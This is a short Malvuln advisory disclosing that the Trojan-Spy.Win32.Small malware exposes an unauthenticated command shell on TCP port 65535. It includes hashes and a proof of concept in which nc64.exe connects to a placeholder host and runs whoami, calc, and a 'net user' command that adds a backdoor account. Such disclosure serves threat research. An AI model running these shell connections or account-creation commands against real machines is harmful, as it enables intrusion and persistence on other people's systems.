Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026 Original source: https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt Malvuln Intelligence Feed: https://intel.malvuln.com/ Contact: malvuln13@gmail.com Media: x.com/malvuln Threat: Trojan-Spy.Win32.Small Vulnerability: Remote Command Execution Description: The malware opens a listener on TCP port 65535, allowing unauthenticated remote attackers with network access to execute arbitrary operating system commands on the infected host. Family: Small Type: PE32 Attack-pattern TTP: Command and Scripting Interpreter (T1059) MD5: 8c15ec5f0137d097a345b693f0bffedb SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b Vuln ID: MVID-2026-0705 Disclosure: 04/20/2026 Exploit/PoC: nc64.exe x.x.x.x 65535 Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\victim\Desktop>whoami whoami desktop-2c3iqho\victim calc C:\>net user hubert abc123 /add net user hubert abc123 /add The command completed successfully. exit Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).